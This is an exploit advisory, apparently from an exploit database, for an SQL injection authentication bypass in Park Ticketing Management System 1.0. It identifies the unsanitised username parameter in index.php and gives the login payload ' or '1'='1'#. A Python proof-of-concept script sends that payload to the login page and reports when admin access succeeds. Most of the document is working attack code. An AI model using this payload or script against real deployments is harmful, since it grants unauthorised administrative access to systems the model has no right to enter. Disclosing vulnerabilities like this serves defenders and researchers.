Park Ticketing Management System 1.0 - Authentication Bypass

# Exploit Title: Park Ticketing Management System 1.0  - Authentication Bypass
# Date: 2020-07-13
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/index.php

Vulnerable Code:
-----------------
line 8: $adminuser=$_POST['username'];

Vulnerable Issue:
-----------------
$adminuser=$_POST['username']; has no sanitization

POC User Login:
---------------

URL: http://localhost/ptms/index.php
Username : ' or '1'='1'#
Password : anything


Python POC:
-----------

import requests,re

url = "http://localhost:80/ptms/index.php"

payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login="
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/ptms/index.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "80", 
    "Content-Type": "application/x-www-form-urlencoded"
}

pattern = "PTMS ADMIN"
response = requests.request("POST", url, data=payload, headers=headers)

if re.findall(pattern,response.text):
    print("[+] Authentication bypassed using the following payload : " + payload)

else:
    print("[!] Something wrong somewhere")

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